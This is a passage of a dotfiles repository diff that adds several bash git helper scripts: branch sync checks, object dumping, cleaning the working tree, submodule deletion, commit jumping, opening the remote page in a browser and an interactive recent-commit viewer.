if [ "$branch" = "$mainBranch" ]; then
|
||||
continue;
|
||||
fi
|
||||
|
||||
masterInFront=$(git log --oneline "$branch".."$mainBranch" | wc -l)
|
||||
branchInFront=$(git log --oneline "$mainBranch".."$branch" | wc -l)
|
||||
|
||||
if [ "$masterInFront" = "0" ] && [ "$branchInFront" = "0" ]; then
|
||||
echo "$mainBranch and $branch are in sync"
|
||||
else
|
||||
echo "$mainBranch is $masterInFront commits in front of $branch"
|
||||
echo "$branch is $branchInFront commits in front of $mainBranch"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
done
|
19
bin/.bin/git/git-cat-all
Executable file
19
bin/.bin/git/git-cat-all
Executable file
|
@ -0,0 +1,19 @@
|
|||
#!/bin/bash
|
||||
|
||||
toplevel=$(git rev-parse --show-toplevel 2> /dev/null)
|
||||
if [ ! -d "${toplevel}/.git" ]; then
|
||||
echo "Can't find .git folder"
|
||||
exit
|
||||
fi
|
||||
|
||||
gitFolder="${toplevel}/.git"
|
||||
{
|
||||
find $gitFolder/objects/pack/ -name "*.idx" | while read i; do
|
||||
git show-index < "$i" | awk '{print $2}';
|
||||
done
|
||||
|
||||
find $gitFolder/objects/ -type f | grep -v '/pack/' | awk -F'/' '{print $(NF-1)$NF}'
|
||||
} | while read o; do
|
||||
git cat-file -p $o
|
||||
done
|
||||
|
75
bin/.bin/git/git-cleaner
Executable file
75
bin/.bin/git/git-cleaner
Executable file
|
@ -0,0 +1,75 @@
|
|||
#!/usr/bin/bash
|
||||
|
||||
function help() {
|
||||
cat <<HELP
|
||||
Git Clean
|
||||
https://jonathanh.co.uk
|
||||
|
||||
Some code came from Ben Alman
|
||||
http://benalman.com/
|
||||
|
||||
|
||||
Usage: $(basename "$0") [command]
|
||||
|
||||
Commands:
|
||||
clean Remove current unstaged changes/untracked files**
|
||||
cleanall Remove all saved tags, unstaged changes and untracked files**
|
||||
|
||||
** This action is destructive and cannot be undone!
|
||||
|
||||
Description:
|
||||
Cleans unstaged changes and untracked files
|
||||
|
||||
Copyright (c) 2014 "Cowboy" Ben Alman
|
||||
Licensed under the MIT license.
|
||||
http://benalman.com/about/license/
|
||||
HELP
|
||||
}
|
||||
|
||||
function usage() {
|
||||
echo "Usage: $(basename "$0") [clean | cleanall]"
|
||||
}
|
||||
|
||||
function git_head_sha() {
|
||||
git rev-parse --short HEAD
|
||||
}
|
||||
|
||||
# Get absolute path to root of Git repo
|
||||
function git_repo_toplevel() {
|
||||
git rev-parse --show-toplevel
|
||||
}
|
||||
|
||||
# Clean (permanently) current changes and remove the current saved tag
|
||||
function clean() {
|
||||
local head_sha=$(git_head_sha)
|
||||
git tag -d "git-jump-$head_sha" &>/dev/null
|
||||
if [[ $? == 0 ]]; then
|
||||
echo "Removed stored data for commit $head_sha."
|
||||
fi
|
||||
local repo_root="$(git_repo_toplevel)"
|
||||
git reset HEAD "$repo_root" >/dev/null
|
||||
git clean -f -d -q -- "$repo_root" >/dev/null
|
||||
git checkout -- "$repo_root" >/dev/null
|
||||
echo "Unstaged changes and untracked files removed."
|
||||
}
|
||||
|
||||
# Remove (permanently) all saved tags
|
||||
function clean_all_tags() {
|
||||
git for-each-ref refs/tags --format='%(refname:short)' | \
|
||||
while read tag; do
|
||||
if [[ "$tag" =~ ^git-jump- ]]; then
|
||||
git tag -d "$tag"
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
# Handle CLI arguments
|
||||
if [[ "$1" == "clean" ]]; then
|
||||
clean
|
||||
elif [[ "$1" == "cleanall" ]]; then
|
||||
clean_all_tags
|
||||
clean
|
||||
else
|
||||
usage
|
||||
exit 1
|
||||
fi
|
24
bin/.bin/git/git-delete-submodule
Executable file
24
bin/.bin/git/git-delete-submodule
Executable file
|
@ -0,0 +1,24 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
test -z "$1" && echo "submodule required" 1>&2 && exit 1
|
||||
#cd "$(git root)"
|
||||
test ! -f .gitmodules && echo ".gitmodules file not found" 1>&2 && exit 2
|
||||
|
||||
NAME="$(echo "$1" | sed 's/\/$//g')"
|
||||
test -z \
|
||||
"$(git config --file=.gitmodules submodule."$NAME".url)" \
|
||||
&& echo "submodule not found" 1>&2 && exit 3
|
||||
|
||||
# 1. Delete the relevant section from .git/config and clean submodule files
|
||||
git submodule deinit -f "$NAME" || exit 4
|
||||
rmdir "$NAME"
|
||||
rm -rf .git/modules/"$NAME"
|
||||
# 2. Delete the relevant line from .gitmodules
|
||||
git config --file=.gitmodules --remove-section submodule."$NAME"
|
||||
git add .gitmodules
|
||||
# 3. Run git rm --cached path_to_submodule
|
||||
git rm --cached -rf "$NAME"
|
||||
# 4. Need to confirm and commit the changes for yourself
|
||||
echo
|
||||
echo "Now submodule $NAME is deleted."
|
||||
echo 'Confirm with `git submodule status` and commit the changes for yourself.'
|
30
bin/.bin/git/git-initial-commit
Executable file
30
bin/.bin/git/git-initial-commit
Executable file
|
@ -0,0 +1,30 @@
|
|||
#!/usr/bin/bash
|
||||
|
||||
# What should the initial commit be for a repo?
|
||||
#
|
||||
# Idea came after reading this blog post: https://blog.no-panic.at/2014/10/20/funny-initial-git-commit-messages/
|
||||
|
||||
commits=(
|
||||
"This is where it all begins..."
|
||||
"Commit committed"
|
||||
"Version control is awful"
|
||||
"COMMIT ALL THE FILES!"
|
||||
"The same thing we do every night, Pinky - try to take over the world!"
|
||||
"Lock S-foils in attack position"
|
||||
"This commit is a lie"
|
||||
"I'll explain when you're older!"
|
||||
"Here be Dragons"
|
||||
"Reinventing the wheel. Again."
|
||||
"This is not the commit message you are looking for"
|
||||
"Batman! (this commit has no parents)"
|
||||
"In the beginning, the code was without form and was void()…"
|
||||
)
|
||||
|
||||
# Seed random generator
|
||||
RANDOM=$$$(date +%s)
|
||||
|
||||
# Get random expression...
|
||||
selectedexpression=${commits[$RANDOM % ${#commits[@]} ]}
|
||||
|
||||
# Write to Shell
|
||||
git commit --allow-empty -m "$selectedexpression"
|
158
bin/.bin/git/git-jump
Executable file
158
bin/.bin/git/git-jump
Executable file
|
@ -0,0 +1,158 @@
|
|||
#!/usr/bin/bash
|
||||
|
||||
function help() {
|
||||
cat <<HELP
|
||||
Git Jump (Forward & Back)
|
||||
http://benalman.com/
|
||||
|
||||
Modified slightly by Jonathan Hodgson
|
||||
https://jonathanh.co.uk/
|
||||
|
||||
Copyright (c) 2017 Jonathan Hodgson
|
||||
Licensed under the MIT license.
|
||||
https://en.wikipedia.org/wiki/MIT_License
|
||||
|
||||
Usage: $(basename "$0") [command]
|
||||
|
||||
Commands:
|
||||
next Jump forward to the next commit in this branch
|
||||
prev Jump backward to the next commit in this branch
|
||||
|
||||
|
||||
Git config:
|
||||
git-jump.branch Branch to jump through. If not set, defaults to master
|
||||
|
||||
Description:
|
||||
"Replay" Git commits by moving forward / backward through a branch's
|
||||
history. Before jumping, any current unstaged changes and untracked
|
||||
files are saved in a tag for later retrieval, which is restored when
|
||||
jumped back to.
|
||||
|
||||
Original Licence:
|
||||
Copyright (c) 2014 "Cowboy" Ben Alman
|
||||
Licensed under the MIT license.
|
||||
http://benalman.com/about/license/
|
||||
HELP
|
||||
}
|
||||
|
||||
function usage() {
|
||||
echo "Usage: $(basename "$0") [next | prev]"
|
||||
}
|
||||
|
||||
# Get branch stored in Git config or default to master
|
||||
git_branch="$(git config git-jump.branch || echo "master")"
|
||||
|
||||
# Get some (short) SHAs
|
||||
function git_branch_sha() {
|
||||
git rev-parse --short "$git_branch"
|
||||
}
|
||||
function git_head_sha() {
|
||||
git rev-parse --short HEAD
|
||||
}
|
||||
function git_prev_sha() {
|
||||
git log --format='%h' "$git_branch" "$@" | awk "/^$(git_head_sha)/{getline; print}"
|
||||
}
|
||||
function git_next_sha() {
|
||||
git_prev_sha --reverse
|
||||
}
|
||||
|
||||
# Get absolute path to root of Git repo
|
||||
function git_repo_toplevel() {
|
||||
git rev-parse --show-toplevel
|
||||
}
|
||||
|
||||
# Get subject of specified commit
|
||||
function git_commit_subject() {
|
||||
git log --format='%s' -n 1 $1
|
||||
}
|
||||
|
||||
# Save changes for later retrieval
|
||||
function save() {
|
||||
local status=""
|
||||
local head_sha=$(git_head_sha)
|
||||
# Checkout current HEAD by SHA to force detached state
|
||||
git checkout -q $head_sha
|
||||
# Add all files in repo
|
||||
git add "$(git_repo_toplevel)"
|
||||
# Commit changes (if there were any)
|
||||
git commit --no-verify -m "Git Jump: saved changes for $head_sha" >/dev/null
|
||||
# If the commit was successful, tag it (overwriting any previous tag)
|
||||
if [[ $? == 0 ]]; then
|
||||
status="*"
|
||||
git tag -f "git-jump-$head_sha" >/dev/null
|
||||
fi
|
||||
echo "Previous HEAD was $head_sha$status, $(git_commit_subject $head_sha)"
|
||||
}
|
||||
|
||||
# Restore previously-saved changes
|
||||
function restore() {
|
||||
local status=""
|
||||
# Save current changes before restoring
|
||||
save
|
||||
# Attempt to restore saved changes for specified commit
|
||||
git checkout "git-jump-$1" 2>/dev/null
|
||||
if [[ $? == 0 ]]; then
|
||||
# If the restore was successful, figure out exactly what was saved, check
|
||||
# out the original commit, then restore the saved changes on top of it
|
||||
status="*"
|
||||
local patch="$(git format-patch HEAD^ --stdout)"
|
||||
git checkout HEAD^ 2>/dev/null
|
||||
echo "$patch" | git apply -
|
||||
else
|
||||
# Otherwise, just restore the original commit
|
||||
git checkout "$1" 2>/dev/null
|
||||
fi
|
||||
echo "HEAD is now $1$status, $(git_commit_subject $1)"
|
||||
}
|
||||
|
||||
# Jump to next commit
|
||||
function next() {
|
||||
local next_sha=$(git_next_sha)
|
||||
if [[ "$next_sha" == "$(git_head_sha)" ]]; then
|
||||
# Abort if no more commits
|
||||
echo "Already at last commit in $git_branch. Congratulations!"
|
||||
else
|
||||
# Checkout branch by name if at its HEAD
|
||||
if [[ "$next_sha" == "$(git_branch_sha)" ]]; then
|
||||
next_sha="$git_branch"
|
||||
fi
|
||||
echo "Jumping ahead to next commit."
|
||||
restore $next_sha
|
||||
fi
|
||||
}
|
||||
|
||||
# Jump to previous commit
|
||||
function prev() {
|
||||
local prev_sha=$(git_prev_sha)
|
||||
if [[ "$prev_sha" == "$(git_head_sha)" ]]; then
|
||||
# Abort if no more commits
|
||||
echo "Already at first commit in $git_branch."
|
||||
else
|
||||
echo "Jumping back to previous commit."
|
||||
restore $prev_sha
|
||||
fi
|
||||
}
|
||||
|
||||
# Show help if requested
|
||||
if [[ "$1" == "--help" || "$1" == "-h" ]]; then
|
||||
help
|
||||
exit
|
||||
fi
|
||||
|
||||
# Check if branch is valid
|
||||
git rev-parse "$git_branch" &>/dev/null
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "Error: Branch \"$git_branch\" does not appear to be valid."
|
||||
echo "Try $(basename "$0") --help for more information."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Handle CLI arguments
|
||||
if [[ "$1" == "next" ]]; then
|
||||
next
|
||||
elif [[ "$1" == "prev" ]]; then
|
||||
prev
|
||||
else
|
||||
usage
|
||||
exit 1
|
||||
fi
|
12
bin/.bin/git/git-nuke
Executable file
12
bin/.bin/git/git-nuke
Executable file
|
@ -0,0 +1,12 @@
|
|||
#!/bin/sh
|
||||
#
|
||||
# Nukes a branch locally and on the origin remote.
|
||||
#
|
||||
# $1 - Branch name.
|
||||
#
|
||||
# Examples
|
||||
#
|
||||
# git nuke add-git-nuke
|
||||
|
||||
git branch -D $1
|
||||
git push origin :$1
|
149
bin/.bin/git/git-open
Executable file
149
bin/.bin/git/git-open
Executable file
|
@ -0,0 +1,149 @@
|
|||
#!/bin/bash
|
||||
|
||||
# Opens the BitBucket/GitHub page for a repo/branch in your browser.
|
||||
#
|
||||
# git open
|
||||
# git open [remote] [branch]
|
||||
|
||||
|
||||
# are we in a git repo?
|
||||
git rev-parse --is-inside-work-tree &>/dev/null
|
||||
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "Not a git repository." 1>&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
# assume origin if not provided
|
||||
# fallback to upstream if neither is present.
|
||||
remote="origin"
|
||||
if [ -n "$1" ]; then
|
||||
if [ "$1" == "issue" ]; then
|
||||
currentBranch=$(git symbolic-ref -q --short HEAD)
|
||||
regex='^issue'
|
||||
if [[ $currentBranch =~ $regex ]]; then
|
||||
issue=${currentBranch#*#}
|
||||
else
|
||||
echo "'git open issue' expect branch naming to be issues/#123" 1>&2
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
remote="$1"
|
||||
fi
|
||||
fi
|
||||
|
||||
remote_url="remote.${remote}.url"
|
||||
|
||||
giturl=$(git config --get "$remote_url")
|
||||
if [ -z "$giturl" ]; then
|
||||
echo "$remote_url not set." 1>&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# get current branch
|
||||
if [ -z "$2" ]; then
|
||||
branch=$(git symbolic-ref -q --short HEAD)
|
||||
else
|
||||
branch="$2"
|
||||
fi
|
||||
|
||||
# Make # and % characters url friendly
|
||||
# github.com/paulirish/git-open/pull/24
|
||||
branch=${branch//%/%25} && branch=${branch//#/%23}
|
||||
|
||||
# URL normalization
|
||||
# GitHub gists
|
||||
if grep -q gist.github <<<$giturl; then
|
||||
giturl=${giturl/git\@gist.github\.com\:/https://gist.github.com/}
|
||||
providerUrlDifference=tree
|
||||
|
||||
# GitHub
|
||||
elif grep -q github <<<$giturl; then
|
||||
giturl=${giturl/git\@github\.com\:/https://github.com/}
|
||||
|
||||
# handle SSH protocol (links like ssh://git@github.com/user/repo)
|
||||
giturl=${giturl/#ssh\:\/\/git\@github\.com\//https://github.com/}
|
||||
|
||||
providerUrlDifference=tree
|
||||
|
||||
# Bitbucket
|
||||
elif grep -q bitbucket <<<$giturl; then
|
||||
giturl=${giturl/git\@bitbucket\.org\:/https://bitbucket.org/}
|
||||
# handle SSH protocol (change ssh://https://bitbucket.org/user/repo to https://bitbucket.org/user/repo)
|
||||
giturl=${giturl/#ssh\:\/\/git\@/https://}
|
||||
|
||||
rev="$(git rev-parse HEAD)"
|
||||
git_pwd="$(git rev-parse --show-prefix)"
|
||||
providerUrlDifference="src/${rev}/${git_pwd}"
|
||||
branch="?at=${branch}"
|
||||
|
||||
# Atlassian Bitbucket Server
|
||||
elif grep -q "/scm/" <<<$giturl; then
|
||||
re='(.*)/scm/(.*)/(.*)\.git'
|
||||
if [[ $giturl =~ $re ]]; then
|
||||
giturl=${BASH_REMATCH[1]}/projects/${BASH_REMATCH[2]}/repos/${BASH_REMATCH[3]}
|
||||
providerUrlDifference=browse
|
||||
branch="?at=refs%2Fheads%2F${branch}"
|
||||
fi
|
||||
|
||||
# GitLab
|
||||
else
|
||||
# custom GitLab
|
||||
gitlab_domain=$(git config --get gitopen.gitlab.domain)
|
||||
gitlab_ssh_domain=$(git config --get gitopen.gitlab.ssh.domain)
|
||||
gitlab_ssh_domain=${gitlab_ssh_domain:-$gitlab_domain}
|
||||
gitlab_ssh_port=$(git config --get gitopen.gitlab.ssh.port)
|
||||
|
||||
gitlab_protocol=$(git config --get gitopen.gitlab.protocol)
|
||||
if [ -z "$gitlab_protocol" ]; then
|
||||
gitlab_protocol=https
|
||||
fi
|
||||
|
||||
if [ -n "$gitlab_domain" ]; then
|
||||
if egrep -q "${gitlab_domain}|${gitlab_ssh_domain}" <<<$giturl; then
|
||||
|
||||
# Handle GitLab's default SSH notation (like git@gitlab.domain.com:user/repo)
|
||||
giturl=${giturl/git\@${gitlab_ssh_domain}\:/${gitlab_protocol}://${gitlab_domain}/}
|
||||
|
||||
# handle SSH protocol (links like ssh://git@gitlab.domain.com/user/repo)
|
||||
giturl=${giturl/#ssh\:\/\//${gitlab_protocol}://}
|
||||
|
||||
# remove git@ from the domain
|
||||
giturl=${giturl/git\@${gitlab_ssh_domain}/${gitlab_domain}/}
|
||||
|
||||
# remove SSH port
|
||||
if [ -n "$gitlab_ssh_port" ]; then
|
||||
giturl=${giturl/\/:${gitlab_ssh_port}\///}
|
||||
fi
|
||||
providerUrlDifference=tree
|
||||
fi
|
||||
# hosted GitLab
|
||||
elif grep -q gitlab <<<$giturl; then
|
||||
giturl=${giturl/git\@gitlab\.com\:/https://gitlab.com/}
|
||||
providerUrlDifference=tree
|
||||
fi
|
||||
fi
|
||||
giturl=${giturl%\.git}
|
||||
|
||||
if [ -n "$issue" ]; then
|
||||
giturl="${giturl}/issues/${issue}"
|
||||
elif [ -n "$branch" ]; then
|
||||
giturl="${giturl}/${providerUrlDifference}/${branch}"
|
||||
fi
|
||||
|
||||
# simplify URL for master
|
||||
giturl=${giturl/tree\/master/}
|
||||
|
||||
# get current open browser command
|
||||
case $( uname -s ) in
|
||||
Darwin) open=open;;
|
||||
MINGW*) open=start;;
|
||||
CYGWIN*) open=cygstart;;
|
||||
MSYS*) open="powershell.exe –NoProfile Start";;
|
||||
*) open=${BROWSER:-xdg-open};;
|
||||
esac
|
||||
|
||||
# open it in a browser
|
||||
$open "$giturl" &> /dev/null
|
||||
exit $?
|
349
bin/.bin/git/git-recall
Executable file
349
bin/.bin/git/git-recall
Executable file
|
@ -0,0 +1,349 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
|
||||
# usage info
|
||||
usage() {
|
||||
cat <<EOF
|
||||
Usage: git recall [options]
|
||||
Options:
|
||||
-d, --date Show logs for last n days.
|
||||
-a, --author Author name.
|
||||
-f, --fetch fetch commits.
|
||||
-h, --help This message.
|
||||
-v, --version Show version.
|
||||
-- End of options.
|
||||
EOF
|
||||
}
|
||||
|
||||
|
||||
# Global variables
|
||||
SINCE="1 days ago" # show logs for last day by default
|
||||
AUTHOR=""
|
||||
FETCH=false
|
||||
GIT_FORMAT=""
|
||||
GIT_LOG=""
|
||||
COMMITS=""
|
||||
COMMITS_UNCOL=() # commits without colors
|
||||
LESSKEY=false
|
||||
SED_BIN="" # Sed option to use according OS.
|
||||
VERSION="1.1.10"
|
||||
|
||||
# Are we in a git repo?
|
||||
if [[ ! -d ".git" ]] && ! git rev-parse --git-dir &>/dev/null; then
|
||||
echo "abort: not a git repository." 1>&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Parse options
|
||||
while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do
|
||||
case $1 in
|
||||
-v | --version )
|
||||
echo "$version"
|
||||
exit
|
||||
;;
|
||||
-d | --date )
|
||||
SINCE="$2 days ago"
|
||||
shift;
|
||||
;;
|
||||
-a | --author )
|
||||
AUTHOR="$2"
|
||||
shift
|
||||
;;
|
||||
-f | --fetch )
|
||||
FETCH=true
|
||||
;;
|
||||
-h | --help )
|
||||
usage
|
||||
exit
|
||||
;;
|
||||
* )
|
||||
echo "abort: unknown argument" 1>&2
|
||||
exit 1
|
||||
esac
|
||||
shift
|
||||
done
|
||||
if [[ "$1" == "--" ]]; then shift; fi
|
||||
|
||||
|
||||
# Colored output.
|
||||
function colored() {
|
||||
GREEN=$(tput setaf 4)
|
||||
YELLOW=$(tput setaf 3)
|
||||
NORMAL=$(tput sgr0)
|
||||
REVERSE=$(tput rev)
|
||||
}
|
||||
|
||||
# Uncolored output.
|
||||
function uncolored() {
|
||||
GREEN=""
|
||||
YELLOW=""
|
||||
NORMAL=""
|
||||
REVERSE=""
|
||||
}
|
||||
|
||||
# Enable colors if supported by terminal.
|
||||
if [[ -t 1 ]] && [[ -n "$TERM" ]] && which tput &>/dev/null && tput colors &>/dev/null; then
|
||||
ncolors=$(tput colors)
|
||||
if [[ -n "$ncolors" ]] && [[ "$ncolors" -ge 8 ]] ; then
|
||||
colored
|
||||
else
|
||||
uncolored
|
||||
fi
|
||||
else
|
||||
uncolored
|
||||
fi
|
||||
|
||||
# Check if lesskey is installed.
|
||||
if command -v lesskey &> /dev/null; then
|
||||
LESSKEY=true
|
||||
fi
|
||||
|
||||
# Set AUTHOR to current user if no param passed or display for all users if param equal to "all".
|
||||
if [[ ! -n $AUTHOR ]]; then
|
||||
AUTHOR=$(git config user.name 2>/dev/null)
|
||||
elif [[ $AUTHOR = "all" ]]; then
|
||||
AUTHOR=".*"
|
||||
fi
|
||||
|
||||
# Fetch changes before.
|
||||
if [[ $FETCH == true ]]; then
|
||||
echo "${GREEN}Fetching changes...${NORMAL}"
|
||||
git fetch --all &> /dev/null
|
||||
tput cuu1
|
||||
tput ed # clear screen
|
||||
fi
|
||||
|
||||
# Log template.
|
||||
GIT_FORMAT="%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset"
|
||||
|
||||
# Log command.
|
||||
GIT_LOG="git log --pretty=format:'${GIT_FORMAT}'
|
||||
--author \"$AUTHOR\"
|
||||
--since \"$SINCE\" --abbrev-commit"
|
||||
|
||||
# Change temporary the IFS to store GIT_LOG's output into an array.
|
||||
IFS=$'\n'
|
||||
COMMITS=($(eval ${GIT_LOG} 2>/dev/null))
|
||||
unset IFS
|
||||
|
||||
NI=${#COMMITS[@]} # Total number of items.
|
||||
SN=$(( `tput lines` - 1 )) # Screen's number of lines.
|
||||
CN=$(tput cols) # Screen's number of columns.
|
||||
TN=$(( $NI < $((SN -1)) ? $NI : $((SN -1)))) # Number of lines that we will display.
|
||||
OFFSET=0 #Incremented by one each time a commit's length is higher than teminal width.
|
||||
|
||||
# If there is no items, exit.
|
||||
if [[ $NI = 0 ]]; then
|
||||
if [[ $AUTHOR = ".*" ]]; then
|
||||
echo "${YELLOW}All contributors did nothing during this period.${NORMAL}" && exit 0
|
||||
else
|
||||
echo "${YELLOW}The contributor \"${AUTHOR}\" did nothing during this period.${NORMAL}" && exit 0
|
||||
fi
|
||||
fi
|
||||
|
||||
# Set correct sed option according OS's type
|
||||
case "$OSTYPE" in
|
||||
darwin*) SED_BIN="sed -E" ;;
|
||||
*) SED_BIN="sed -r" ;;
|
||||
esac
|
||||
|
||||
# Create array with uncolred commits (removing escape sequences using sed)
|
||||
for elt in "${COMMITS[@]}"
|
||||
do
|
||||
ELT="$(echo "$elt" | $SED_BIN "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g")" # remove colors escape codes
|
||||
COMMITS_UNCOL+=("$ELT")
|
||||
done
|
||||
# Add +1 to OFFSET if a commit's length is bigger than the current terminal session's width. (This is to fix a redraw issue)
|
||||
for C in "${COMMITS_UNCOL[@]}"
|
||||
do
|
||||
if [[ ${#C} -gt $CN ]]; then
|
||||
OFFSET=$(( OFFSET + 1 ))
|
||||
fi
|
||||
done
|
||||
|
||||
# Set keys.
|
||||
au="`echo -e '\e[A'`" # arrow up
|
||||
au_1="k" # arrow up
|
||||
ad="`echo -e '\e[B'`" # arrow down
|
||||
ad_1="j" # arrow down
|
||||
ec="`echo -e '\e'`" # escape
|
||||
nl="`echo -e '\n'`" # newline
|
||||
nl_1="e" # expand
|
||||
co="c" # checkout
|
||||
|
||||
# Create a temporary lesskey file to change the keybindings so the user can use the TAB key to quit less. (more convenient)
|
||||
if [[ $LESSKEY = true ]]; then
|
||||
echo "\t quit" | lesskey -o $HOME/.lsh_less_keys_tmp -- - &> /dev/null
|
||||
fi
|
||||
|
||||
## Get commit's diff.
|
||||
function get_diff() {
|
||||
ELT="$(echo "${COMMITS_UNCOL[$CP-1]}")"
|
||||
DIFF_TIP=${ELT:0:7}
|
||||
DIFF_CMD="git show $DIFF_TIP --color=always"
|
||||
DIFF=$(eval ${DIFF_CMD} 2>/dev/null)
|
||||
tmp_diff="$(echo "$DIFF" | $SED_BIN "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g")" # remove colors escape codes
|
||||
off=$(echo "$tmp_diff" | grep -c ".\{$CN\}") #Number of lines in the diff that are longer than terminal width.
|
||||
DIFF_LINES_NUMBER="$(echo "$DIFF" | wc -l)"
|
||||
DIFF_LINES_NUMBER=$(( DIFF_LINES_NUMBER + off ))
|
||||
}
|
||||
|
||||
## This function will print the diff according the commit's tip. If the diff is too long, the result will be displayed using 'less'.
|
||||
function print_diff() {
|
||||
get_diff # get commit's diff
|
||||
if [[ $(( TN + DIFF_LINES_NUMBER + OFFSET )) -ge $(( `tput lines` - 1 )) ]]; then
|
||||
if [[ $LESSKEY = true ]]; then
|
||||
echo "$DIFF" | less -r -k $HOME/.lsh_less_keys_tmp
|
||||
else
|
||||
echo "$DIFF" | less -r
|
||||
fi
|
||||
tput ed # Clear screen
|
||||
else
|
||||
stop=false
|
||||
tput ed
|
||||
for i in `seq 1 $TN`
|
||||
do
|
||||
echo -n "$NORMAL"
|
||||
[[ $CP == "$i" ]] && echo -n "$REVERSE"
|
||||
echo "${COMMITS[$i - 1]}"
|
||||
[[ $CP == "$i" ]] && echo "$DIFF"
|
||||
done
|
||||
# Wait for user action.
|
||||
while ! $stop
|
||||
do
|
||||
read -sn 1 key
|
||||
case "$key" in
|
||||
"$nl" | "$nl_1")
|
||||
stop=true
|
||||
;;
|
||||
"q")
|
||||
stop=true
|
||||
END=true
|
||||
;;
|
||||
esac
|
||||
done
|
||||
[[ $END = false ]] && tput cuu $(( TN + DIFF_LINES_NUMBER + OFFSET )) && tput ed
|
||||
[[ $END = true ]] && tput cuu 1
|
||||
fi
|
||||
}
|
||||
|
||||
function do_checkout(){
|
||||
ELT="$(echo "${COMMITS_UNCOL[$CP-1]}")"
|
||||
DIFF_TIP=${ELT:0:7}
|
||||
eval "git checkout $DIFF_TIP 2> /dev/null"
|
||||
}
|
||||
|
||||
# Calculate OFFSET to avoid bad redraw.
|
||||
function calculate_offset {
|
||||
tmp=1
|
||||
index=$(( SI -1 ))
|
||||
while [[ $tmp -lt $SN ]]
|
||||
do
|
||||
el=${COMMITS_UNCOL[$index]}
|
||||
if [[ ${#el} -gt $CN ]] && [[ $CP -lt $((SN -1)) ]]; then
|
||||
OFFSET_2=$(( OFFSET_2 + 1 ))
|
||||
tmp=$(( tmp + 1 ))
|
||||
fi
|
||||
tmp=$(( tmp + 1 ))
|
||||
index=$(( index + 1 ))
|
||||
done
|
||||
}
|
||||
|
||||
{ # capture stdout to stderr
|
||||
|
||||
tput civis # hide cursor.
|
||||
CP=1 # current position
|
||||
SI=1 # index
|
||||
END=false # end while loop
|
||||
EXT=0 # Used to extend the number of lines to display.
|
||||
|
||||
## Loops, reads inputs and prints commits until user presses 'q' to exit or TAB to show the diff.
|
||||
while ! $END
|
||||
do
|
||||
END_INDEX=0 # Index for the last item to display
|
||||
# When the number of item is higher than screen's number of lines, OFFSET_2 is recalculated each time we select a new item
|
||||
# Set last index to print. (based on OFFSET)
|
||||
if [[ $TN == $NI ]]; then
|
||||
END_INDEX=$TN
|
||||
OFFSET_2=$OFFSET
|
||||
elif [[ $TN == $(( SN - 1 )) ]]; then
|
||||
# Calculate new OFFSET.
|
||||
if [[ $OFFSET != 0 ]]; then
|
||||
[[ $CP -lt $((SN -1)) ]] && OFFSET_2=0
|
||||
EXT=1
|
||||
calculate_offset
|
||||
fi
|
||||
END_INDEX=$(( TN + SI -1 + EXT - OFFSET_2 ))
|
||||
fi
|
||||
|
||||
# Loop and echo commits
|
||||
for i in `seq $SI $END_INDEX`
|
||||
do
|
||||
echo -n "$NORMAL"
|
||||
[[ $CP == $i ]] && echo -n "$REVERSE"
|
||||
echo "${COMMITS[$i - 1]}"
|
||||
done
|
||||
|
||||
read -sn 1 key
|
||||
[[ "$key" == "$ec" ]] &&
|
||||
{
|
||||
read -sn 2 k2
|
||||
key="$key$k2"
|
||||
}
|
||||
|
||||
case "$key" in
|
||||
|
||||
"$au" | "$au_1")
|
||||
CP=$(( CP - 1 ))
|
||||
[[ $CP == 0 ]] && [[ $SI == 1 ]] && [[ $TN == $(( SN - 1 )) ]] && CP=$NI && SI=$(( NI - SN + 2 + OFFSET_2 ))
|
||||
[[ $CP == 0 ]] && [[ $SI == 1 ]] && [[ $TN == $NI ]] && CP=$TN
|
||||
[[ $CP == $(( SI - 1 )) ]] && [[ $SI != 1 ]] && SI=$(( SI - 1 ))
|
||||
|
||||
[[ $TN != $(( SN - 1 )) ]] && tput cuu $(( TN + OFFSET_2 ))
|
||||
[[ $TN == $(( SN - 1 )) ]] && tput cuu $(( TN + EXT ))
|
||||
[[ $SI != 1 ]] && tput ed # clear screen
|
||||
;;
|
||||
|
||||
"$ad" | "$ad_1")
|
||||
CP=$(( CP + 1 ))
|
||||
[[ $CP == $(( NI + 1 )) ]] && CP=1 && SI=1
|
||||
[[ $CP == $(( SN + SI - 1 + EXT - OFFSET_2 )) ]] && [[ $TN == $(( SN - 1 )) ]] && SI=$(( SI + 1 ))
|
||||
|
||||
[[ $TN != $(( SN - 1 )) ]] && tput cuu $(( TN + OFFSET_2 ))
|
||||
[[ $TN == $(( SN - 1 )) ]] && tput cuu $(( TN + EXT ))
|
||||
[[ $SI != 1 ]] && tput ed # clear screen
|
||||
[[ $SI = 1 ]] && [[ $CP = 1 ]] && tput ed # clear screen
|
||||
;;
|
||||
|
||||
"$nl" | "$nl_1")
|
||||
[[ $TN == $NI ]] && tput cuu $(( TN + OFFSET_2 ))
|
||||
[[ $TN != $NI ]] && tput cuu $(( TN + EXT ))
|
||||
print_diff
|
||||
;;
|
||||
"$co")
|
||||
si=false
|
||||
END=true
|
||||
do_checkout
|
||||
tput cuu 1 #move cursor up one line. (remove extra line)
|
||||
;;
|
||||
|
||||
"q")
|
||||
si=false
|
||||
END=true
|
||||
tput cuu 1 #move cursor up one line. (remove extra line)
|
||||
;;
|
||||
|
||||
* )
|
||||
tput cuu $(( TN + OFFSET_2 ))
|
||||
esac
|
||||
|
||||
done
|
||||
|
||||
# remove temporary less keybindings
|
||||
[[ $LESSKEY = true ]] && rm $HOME/.lsh_less_keys_tmp
|
||||
|
||||
tput cnorm # unhide cursor
|
||||
echo "$NORMAL" # normal colors
|
||||
|
||||
} >&2 # END capture
|
||||
|
44
